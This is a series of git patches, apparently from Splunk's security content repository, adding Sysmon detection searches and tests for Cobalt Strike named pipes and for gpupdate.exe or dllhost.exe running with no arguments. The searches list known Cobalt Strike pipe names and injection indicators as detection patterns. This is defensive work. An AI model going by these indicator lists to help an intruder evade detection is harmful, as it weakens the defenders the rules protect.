From 03db8006d8f18133de37b1e7beaa498510c8242e Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 22 Feb 2021 15:26:35 -0700
Subject: [PATCH 01/67] Named Pipes + update

---
 .gitignore                                    |  1 +
 .../endpoint/cobalt_strike_named_pipes.yml    | 49 +++++++++++++++++++
 detections/endpoint/ntdsutil_export_ntds.yml  |  2 +-
 .../cobalt_strike_named_pipes.test.yml        | 12 +++++
 4 files changed, 63 insertions(+), 1 deletion(-)
 create mode 100644 detections/endpoint/cobalt_strike_named_pipes.yml
 create mode 100644 tests/endpoint/cobalt_strike_named_pipes.test.yml

diff --git a/.gitignore b/.gitignore
index 512c76d162..4ab6c22fc1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -105,3 +105,4 @@ venv.bak/
 .mypy_cache/
 package/bin/sftp-config.json
 package/default/sftp-config.json
+*.code-snippets
diff --git a/detections/endpoint/cobalt_strike_named_pipes.yml b/detections/endpoint/cobalt_strike_named_pipes.yml
new file mode 100644
index 0000000000..2b188fed4a
--- /dev/null
+++ b/detections/endpoint/cobalt_strike_named_pipes.yml
@@ -0,0 +1,49 @@
+name: Cobalt Strike Named Pipes
+id: 5876d429-0240-4709-8b93-ea8330b411b5
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of default or publicly known named pipes used with Cobalt Strike. A named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. Cobalt Strike uses named pipes
+  in many ways and has default values used with the Artifact Kit and Malleable C2 Profiles. The following query assists with identifying these default named pipes. Each EDR product presents named pipes a little different. Consider taking the values and generating a query based on the product of choice. \
+
+  Upon triage, review the process performing the named pipe. If it is explorer.exe, It is possible it was injected into by another process. Review recent parallel processes to identify suspicious patterns or behaviors. A parallel process may have a network connection, review and follow the connection back to identify any file modifications.'
+  
+how_to_implement: To successfully implement this search, you need to be ingesting
+  logs with the process name, parent process, and command-line executions from your
+  endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
+  Sysmon TA.
+type: batch
+datamodel: [] 
+references:
+- https://attack.mitre.org/techniques/T1218/009/
+- https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes
+- https://www.cobaltstrike.com/help-smb-beacon
+- https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
+- https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
+author: Michael Haag, Splunk
+search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc_*, \\srvsvc_*, \\mojo_*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*)
+  | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name, process_path, PipeName
+  | rename Computer as dest
+  | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)`
+  | `cobalt_strike_named_pipes_filter`'
+known_false_positives: The idea of using named pipes with Cobalt Strike is to blend in. Therefore, some of the named pipes identified and added may cause false positives. Filter by process name or pipe name to reduce false positives.
+tags:
+  analytic_story:
+  - Cobalt Strike
+  mitre_attack_id:
+  - T1055
+  kill_chain_phases:
+  - Actions on Objectives
+  cis20:
+  - CIS 8
+  nist:
+  - PR.PT
+  - DE.CM
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
diff --git a/detections/endpoint/ntdsutil_export_ntds.yml b/detections/endpoint/ntdsutil_export_ntds.yml
index 850fadeee6..67a4b40758 100644
--- a/detections/endpoint/ntdsutil_export_ntds.yml
+++ b/detections/endpoint/ntdsutil_export_ntds.yml
@@ -1,4 +1,4 @@
-name: Ntdsutil export ntds
+name: Ntdsutil Export NTDS
 id: da63bc76-61ae-11eb-ae93-0242ac130002
 version: 1
 date: '2021-01-28'
diff --git a/tests/endpoint/cobalt_strike_named_pipes.test.yml b/tests/endpoint/cobalt_strike_named_pipes.test.yml
new file mode 100644
index 0000000000..26e57ea485
--- /dev/null
+++ b/tests/endpoint/cobalt_strike_named_pipes.test.yml
@@ -0,0 +1,12 @@
+name: Cobalt Strike Named Pipes Unit Test
+tests:
+- name: Cobalt Strike Named Pipes
+  file: endpoint/cobalt_strike_named_pipes.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From 2cc109c212a15304d881e14f2d2bb4f784e7610e Mon Sep 17 00:00:00 2001
From: root <root@ip-10-0-226-138>
Date: Mon, 22 Feb 2021 22:50:52 +0000
Subject: [PATCH 02/67] Added detection testing service results inCobalt Strike
 Named Pipes

---
 .../endpoint/cobalt_strike_named_pipes.yml    | 33 ++++++++++++-------
 1 file changed, 21 insertions(+), 12 deletions(-)

diff --git a/detections/endpoint/cobalt_strike_named_pipes.yml b/detections/endpoint/cobalt_strike_named_pipes.yml
index 2b188fed4a..7ab92d2ea8 100644
--- a/detections/endpoint/cobalt_strike_named_pipes.yml
+++ b/detections/endpoint/cobalt_strike_named_pipes.yml
@@ -2,17 +2,24 @@ name: Cobalt Strike Named Pipes
 id: 5876d429-0240-4709-8b93-ea8330b411b5
 version: 1
 date: '2021-02-22'
-description: 'The following analytic identifies the use of default or publicly known named pipes used with Cobalt Strike. A named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. Cobalt Strike uses named pipes
-  in many ways and has default values used with the Artifact Kit and Malleable C2 Profiles. The following query assists with identifying these default named pipes. Each EDR product presents named pipes a little different. Consider taking the values and generating a query based on the product of choice. \
+description: 'The following analytic identifies the use of default or publicly known
+  named pipes used with Cobalt Strike. A named pipe is a named, one-way or duplex
+  pipe for communication between the pipe server and one or more pipe clients. Cobalt
+  Strike uses named pipes in many ways and has default values used with the Artifact
+  Kit and Malleable C2 Profiles. The following query assists with identifying these
+  default named pipes. Each EDR product presents named pipes a little different. Consider
+  taking the values and generating a query based on the product of choice. \
 
-  Upon triage, review the process performing the named pipe. If it is explorer.exe, It is possible it was injected into by another process. Review recent parallel processes to identify suspicious patterns or behaviors. A parallel process may have a network connection, review and follow the connection back to identify any file modifications.'
-  
+  Upon triage, review the process performing the named pipe. If it is explorer.exe,
+  It is possible it was injected into by another process. Review recent parallel processes
+  to identify suspicious patterns or behaviors. A parallel process may have a network
+  connection, review and follow the connection back to identify any file modifications.'
 how_to_implement: To successfully implement this search, you need to be ingesting
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
   Sysmon TA.
 type: batch
-datamodel: [] 
+datamodel: []
 references:
 - https://attack.mitre.org/techniques/T1218/009/
 - https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes
@@ -20,13 +27,14 @@ references:
 - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
 - https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
 author: Michael Haag, Splunk
-search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc_*, \\srvsvc_*, \\mojo_*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*)
-  | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name, process_path, PipeName
-  | rename Computer as dest
-  | `security_content_ctime(firstTime)`
-  | `security_content_ctime(lastTime)`
-  | `cobalt_strike_named_pipes_filter`'
-known_false_positives: The idea of using named pipes with Cobalt Strike is to blend in. Therefore, some of the named pipes identified and added may cause false positives. Filter by process name or pipe name to reduce false positives.
+search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc_*, \\srvsvc_*,
+  \\mojo_*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*)
+  | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name,
+  process_path, PipeName | rename Computer as dest | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)` | `cobalt_strike_named_pipes_filter`'
+known_false_positives: The idea of using named pipes with Cobalt Strike is to blend
+  in. Therefore, some of the named pipes identified and added may cause false positives.
+  Filter by process name or pipe name to reduce false positives.
 tags:
   analytic_story:
   - Cobalt Strike
@@ -47,3 +55,4 @@ tags:
   asset_type: Endpoint
   dataset:
   - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+  automated_detection_testing: passed

From bbfeb8c4276f92257ea3c1113018f87f7ec05f65 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 22 Feb 2021 16:09:19 -0700
Subject: [PATCH 03/67] Cobalt Strike Profile adds and updates

---
 detections/endpoint/cobalt_strike_named_pipes.yml          | 2 +-
 .../detect_regsvr32_application_control_bypass.yml         | 1 +
 .../suspicious_microsoft_workflow_compiler_rename.yml      | 1 +
 detections/endpoint/suspicious_msbuild_path.yml            | 1 +
 detections/endpoint/suspicious_msbuild_rename.yml          | 1 +
 stories/cobalt_strike.yml                                  | 7 ++++---
 6 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/detections/endpoint/cobalt_strike_named_pipes.yml b/detections/endpoint/cobalt_strike_named_pipes.yml
index 7ab92d2ea8..0e327392a2 100644
--- a/detections/endpoint/cobalt_strike_named_pipes.yml
+++ b/detections/endpoint/cobalt_strike_named_pipes.yml
@@ -29,7 +29,7 @@ references:
 author: Michael Haag, Splunk
 search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc_*, \\srvsvc_*,
   \\mojo_*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*)
-  | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name,
+  | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name, process_id
   process_path, PipeName | rename Computer as dest | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` | `cobalt_strike_named_pipes_filter`'
 known_false_positives: The idea of using named pipes with Cobalt Strike is to blend
diff --git a/detections/endpoint/detect_regsvr32_application_control_bypass.yml b/detections/endpoint/detect_regsvr32_application_control_bypass.yml
index bb8e357082..94ebb6d16a 100644
--- a/detections/endpoint/detect_regsvr32_application_control_bypass.yml
+++ b/detections/endpoint/detect_regsvr32_application_control_bypass.yml
@@ -36,6 +36,7 @@ references:
 tags:
   analytic_story:
   - Suspicious Regsvr32 Activity
+  - Cobalt Strike
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml b/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml
index 4252a742a7..023502c92a 100644
--- a/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml
+++ b/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml
@@ -28,6 +28,7 @@ references:
 tags:
   analytic_story:
   - Trusted Developer Utilities Proxy Execution
+  - Cobalt Strike
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/suspicious_msbuild_path.yml b/detections/endpoint/suspicious_msbuild_path.yml
index 21360144b3..d10bb10c39 100644
--- a/detections/endpoint/suspicious_msbuild_path.yml
+++ b/detections/endpoint/suspicious_msbuild_path.yml
@@ -30,6 +30,7 @@ references:
 tags:
   analytic_story:
   - Trusted Developer Utilities Proxy Execution MSBuild
+  - Cobalt Strike
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/detections/endpoint/suspicious_msbuild_rename.yml b/detections/endpoint/suspicious_msbuild_rename.yml
index d1144fcfc8..83b0a7f78b 100644
--- a/detections/endpoint/suspicious_msbuild_rename.yml
+++ b/detections/endpoint/suspicious_msbuild_rename.yml
@@ -27,6 +27,7 @@ references:
 tags:
   analytic_story:
   - Trusted Developer Utilities Proxy Execution MSBuild
+  - Cobalt Strike
   asset_type: Endpoint
   automated_detection_testing: passed
   cis20:
diff --git a/stories/cobalt_strike.yml b/stories/cobalt_strike.yml
index 5db3a3fd72..624da4efa7 100644
--- a/stories/cobalt_strike.yml
+++ b/stories/cobalt_strike.yml
@@ -7,8 +7,9 @@ type: batch
 description: Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Most recently, Cobalt Strike has become the choice tool by threat groups due to its ease of use and extensibility. 
 narrative: 'This Analytic Story supports you to detect Tactics, Techniques and Procedures
   (TTPs) from Cobalt Strike. Cobalt Strike has many ways to be enhanced by using aggressor scripts, malleable C2 profiles, default attack packages, and much more. 
-  For endpoint behavior, Cobalt Strike is most commonly identified via named pipes, spawn to processes, and DLL function names. 
-  On the network, depending on the malleable C2 profile used, it is near infinite in the amount of ways to conceal the C2 traffic with Cobalt Strike.\
+  For endpoint behavior, Cobalt Strike is most commonly identified via named pipes, spawn to processes, and DLL function names. Many additional variables are provided for in memory operation of the beacon implant. 
+  On the network, depending on the malleable C2 profile used, it is near infinite in the amount of ways to conceal the C2 traffic with Cobalt Strike.
+  Not every query may be specific to Cobalt Strike the tool, but the methodologies and techniques used by it.\
 
   In generating content for Cobalt Strike, the following is considered:\
 
@@ -18,7 +19,7 @@ narrative: 'This Analytic Story supports you to detect Tactics, Techniques and P
 
   1. Does the <spawnto_ value> make network connections?\
 
-  1. Is it normal for <spawnto_ value> to load jscript, vbscript, Amsi.dll, and clr.dll?.'
+  1. Is it normal for <spawnto_ value> to load jscript, vbscript, Amsi.dll, and clr.dll?'
 
 references:
 - https://www.cobaltstrike.com/

From 565989075518a121bf38bd0709cf0b1209d103b0 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 09:19:05 -0700
Subject: [PATCH 04/67] Update cobalt_strike_named_pipes.yml

updated pipes
---
 detections/endpoint/cobalt_strike_named_pipes.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/cobalt_strike_named_pipes.yml b/detections/endpoint/cobalt_strike_named_pipes.yml
index 0e327392a2..f2f415600b 100644
--- a/detections/endpoint/cobalt_strike_named_pipes.yml
+++ b/detections/endpoint/cobalt_strike_named_pipes.yml
@@ -27,8 +27,8 @@ references:
 - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
 - https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
 author: Michael Haag, Splunk
-search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc_*, \\srvsvc_*,
-  \\mojo_*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*)
+search: '`sysmon` EventID=17 OR EventID=18 PipeName IN (\\msagent_*, \\wkssvc*, \\DserNamePipe*, \\srvsvc_*,
+  \\mojo.*, \\postex_*, \\status_*, \\MSSE-*, \\spoolss_*, \\win_svc*, \\ntsvcs*, \\winsock*)
   | stats count min(_time) as firstTime max(_time) as lastTime by Computer, process_name, process_id
   process_path, PipeName | rename Computer as dest | `security_content_ctime(firstTime)`
   | `security_content_ctime(lastTime)` | `cobalt_strike_named_pipes_filter`'

From 9188143feac49658299f4940f44fe04c6908b3df Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 12:34:52 -0700
Subject: [PATCH 05/67] gpupdate no cmdline arguments

---
 ...ous_gpupdate_no_command_line_arguments.yml | 40 +++++++++++++++++++
 ...undll32_with_no_command_line_arguments.yml |  4 +-
 ...pupdate_no_command_line_arguments.test.yml | 12 ++++++
 3 files changed, 54 insertions(+), 2 deletions(-)
 create mode 100644 detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
 create mode 100644 tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml

diff --git a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
new file mode 100644
index 0000000000..c650ab923b
--- /dev/null
+++ b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
@@ -0,0 +1,40 @@
+name: Suspicious GPUpdate no Command Line Arguments
+id: 74866830-75ff-11eb-886f-acde48001122
+version: 1
+date: '2021-02-23'
+author: Michael Haag, Splunk
+type: batch
+datamodel: []
+description: The following analytic identifies gpupdate.exe with no command line arguments.
+  It is unusual for gpupdate.exe to execute with no command line arguments present.
+  This particular behavior is common with malicious software, including Cobalt Strike. 
+  During investigation, identify any network connections and parallel processes. Identify
+  any suspicious module loads related to credential dumping or file writes. gpupdate.exe
+  is natively found in C:\Windows\system32 and C:\Windows\syswow64.
+search: '`sysmon` EventID=1 (process_name=gpupdate.exe OR OriginalFileName=GPUpdate.exe)
+  | regex CommandLine="(gpupdate\.exe.{0,4}$)" | stats count min(_time) as firstTime
+  max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine, process_name,
+  OriginalFileName, process_path, CommandLine | rename Computer as dest | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)` | `suspicious_gpupdate_no_command_line_arguments_filter`'
+how_to_implement: To successfully implement this search, you need to be ingesting
+  logs with the process name, parent process, and command-line executions from your
+  endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
+  Sysmon TA.
+known_false_positives: Limited false positives may be present in environments 
+references: 
+- https://raw.githubusercontent.com/xx0hcd/Malleable-C2-Profiles/0ef8cf4556e26f6d4190c56ba697c2159faa5822/crimeware/trick_ryuk.profile
+- https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
+tags:
+  analytic_story:
+  - Cobalt Strike
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1055
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/detections/endpoint/suspicious_rundll32_with_no_command_line_arguments.yml b/detections/endpoint/suspicious_rundll32_with_no_command_line_arguments.yml
index 7c062b319c..e448aace4e 100644
--- a/detections/endpoint/suspicious_rundll32_with_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_rundll32_with_no_command_line_arguments.yml
@@ -1,4 +1,4 @@
-name: Suspicious Rundll32 no CommandLine Arguments
+name: Suspicious Rundll32 no Command Line Arguments
 id: e451bd16-e4c5-4109-8eb1-c4c6ecf048b4
 version: 1
 date: '2021-02-09'
@@ -15,7 +15,7 @@ search: '`sysmon` EventID=1 (process_name=rundll32.exe OR OriginalFileName=RUNDL
   | regex CommandLine="(rundll32\.exe.{0,4}$)" | stats count min(_time) as firstTime
   max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine, process_name,
   OriginalFileName, process_path, CommandLine | rename Computer as dest | `security_content_ctime(firstTime)`
-  | `security_content_ctime(lastTime)` | `suspicious_rundll32_no_commandline_arguments_filter`'
+  | `security_content_ctime(lastTime)` | `suspicious_rundll32_no_command_line_arguments_filter`'
 how_to_implement: To successfully implement this search, you need to be ingesting
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
diff --git a/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
new file mode 100644
index 0000000000..399588c6a2
--- /dev/null
+++ b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
@@ -0,0 +1,12 @@
+name: Suspicious GPUpdate no Command Line Arguments Unit Test
+tests:
+- name: Suspicious GPUpdate no Command Line Arguments
+  file: detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: UPDATE_FILE_NAME
+    data: UPDATE_DATASET_URL
+    source: UPDATE_SPLUNK_SOURCE
+    sourcetype: UPDATE_SPLUNK_SOURCETYPE
\ No newline at end of file

From bb5bc07dab6f690d184b6ecb8afe7923d30c2af2 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 13:04:17 -0700
Subject: [PATCH 06/67] fixes and new

---
 ...ious_dllhost_no_command_line_arguments.yml | 40 +++++++++++++++++++
 ...ous_gpupdate_no_command_line_arguments.yml |  2 +-
 ...dllhost_no_command_line_arguments.test.yml | 12 ++++++
 ...pupdate_no_command_line_arguments.test.yml |  8 ++--
 4 files changed, 57 insertions(+), 5 deletions(-)
 create mode 100644 detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
 create mode 100644 tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml

diff --git a/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
new file mode 100644
index 0000000000..7dc5851a39
--- /dev/null
+++ b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
@@ -0,0 +1,40 @@
+name: Suspicious DLLHost no Command Line Arguments
+id: 74866830-75ff-11eb-886f-acde48001122
+version: 1
+date: '2021-02-23'
+author: Michael Haag, Splunk
+type: batch
+datamodel: []
+description: The following analytic identifies DLLHost.exe with no command line arguments.
+  It is unusual for DLLHost.exe to execute with no command line arguments present.
+  This particular behavior is common with malicious software, including Cobalt Strike. 
+  During investigation, identify any network connections and parallel processes. Identify
+  any suspicious module loads related to credential dumping or file writes. DLLHost.exe
+  is natively found in C:\Windows\system32 and C:\Windows\syswow64.
+search: '`sysmon` EventID=1 (process_name=dllhost.exe OR OriginalFileName=dllhost.exe)
+  | regex CommandLine="(dllhost\.exe.{0,4}$)" | stats count min(_time) as firstTime
+  max(_time) as lastTime by dest, User, ParentImage,ParentCommandLine, process_name,
+  OriginalFileName, process_path, CommandLine | rename Computer as dest | `security_content_ctime(firstTime)`
+  | `security_content_ctime(lastTime)` | `suspicious_dllhost_no_command_line_arguments_filter`'
+how_to_implement: To successfully implement this search, you need to be ingesting
+  logs with the process name, parent process, and command-line executions from your
+  endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
+  Sysmon TA.
+known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
+references: 
+- https://raw.githubusercontent.com/threatexpress/malleable-c2/c3385e481159a759f79b8acfe11acf240893b830/jquery-c2.4.2.profile
+- https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
+tags:
+  analytic_story:
+  - Cobalt Strike
+  dataset:
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+  kill_chain_phases:
+  - Exploitation
+  mitre_attack_id:
+  - T1055
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  
\ No newline at end of file
diff --git a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
index c650ab923b..dab0df4367 100644
--- a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
@@ -20,7 +20,7 @@ how_to_implement: To successfully implement this search, you need to be ingestin
   logs with the process name, parent process, and command-line executions from your
   endpoints. If you are using Sysmon, you must have at least version 6.0.4 of the
   Sysmon TA.
-known_false_positives: Limited false positives may be present in environments 
+known_false_positives: Limited false positives may be present in small environments. Tuning may be required based on parent process. 
 references: 
 - https://raw.githubusercontent.com/xx0hcd/Malleable-C2-Profiles/0ef8cf4556e26f6d4190c56ba697c2159faa5822/crimeware/trick_ryuk.profile
 - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
diff --git a/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml
new file mode 100644
index 0000000000..ef9421c973
--- /dev/null
+++ b/tests/endpoint/suspicious_dllhost_no_command_line_arguments.test.yml
@@ -0,0 +1,12 @@
+name: Suspicious DLLHost with no command line arguments Unit Test
+tests:
+- name: Suspicious DLLHost with no Command Line Arguments
+  file: endpoint/suspicious_dllhost_with_no_command_line_arguments.yml
+  pass_condition: '| stats count | where count > 0'
+  earliest_time: '-24h'
+  latest_time: 'now'
+  attack_data:
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file
diff --git a/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
index 399588c6a2..f2e7ad3831 100644
--- a/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
+++ b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
@@ -6,7 +6,7 @@ tests:
   earliest_time: '-24h'
   latest_time: 'now'
   attack_data:
-  - file_name: UPDATE_FILE_NAME
-    data: UPDATE_DATASET_URL
-    source: UPDATE_SPLUNK_SOURCE
-    sourcetype: UPDATE_SPLUNK_SOURCETYPE
\ No newline at end of file
+  - file_name: windows-sysmon.log
+    data: https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon.log
+    source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
+    sourcetype: xmlwineventlog
\ No newline at end of file

From 99729a95eeb63e99d075a1559eb761424a83ef3c Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 13:11:42 -0700
Subject: [PATCH 07/67] uid issue

---
 .../endpoint/suspicious_dllhost_no_command_line_arguments.yml   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
index 7dc5851a39..fb1c1bbc4f 100644
--- a/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_dllhost_no_command_line_arguments.yml
@@ -1,5 +1,5 @@
 name: Suspicious DLLHost no Command Line Arguments
-id: 74866830-75ff-11eb-886f-acde48001122
+id: ff61e98c-0337-4593-a78f-72a676c56f26
 version: 1
 date: '2021-02-23'
 author: Michael Haag, Splunk

From 1233dd14bae296f3af5d3d5cd487c721450d7e7a Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 13:17:29 -0700
Subject: [PATCH 08/67] Update
 suspicious_gpupdate_no_command_line_arguments.yml

---
 .../endpoint/suspicious_gpupdate_no_command_line_arguments.yml  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
index dab0df4367..217c7a0131 100644
--- a/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
+++ b/detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
@@ -1,5 +1,5 @@
 name: Suspicious GPUpdate no Command Line Arguments
-id: 74866830-75ff-11eb-886f-acde48001122
+id: f308490a-473a-40ef-ae64-dd7a6eba284a
 version: 1
 date: '2021-02-23'
 author: Michael Haag, Splunk

From b7f587b127dd37de36ae5548707dbaf863d268d7 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 13:48:57 -0700
Subject: [PATCH 09/67] Update
 suspicious_gpupdate_no_command_line_arguments.test.yml

---
 .../suspicious_gpupdate_no_command_line_arguments.test.yml      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
index f2e7ad3831..ddc754c4f6 100644
--- a/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
+++ b/tests/endpoint/suspicious_gpupdate_no_command_line_arguments.test.yml
@@ -1,7 +1,7 @@
 name: Suspicious GPUpdate no Command Line Arguments Unit Test
 tests:
 - name: Suspicious GPUpdate no Command Line Arguments
-  file: detections/endpoint/suspicious_gpupdate_no_command_line_arguments.yml
+  file: endpoint/suspicious_gpupdate_no_command_line_arguments.yml
   pass_condition: '| stats count | where count > 0'
   earliest_time: '-24h'
   latest_time: 'now'

From 393065bc6666a066fc5e38981f6bfde33416a1b5 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Tue, 23 Feb 2021 14:22:23 -0700
Subject: [PATCH 10/67] Update
 suspicious_dllhost_no_command_line_arguments.test.yml

---
 .../suspicious_dllhost_no_command_line_arguments.test.yml   | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

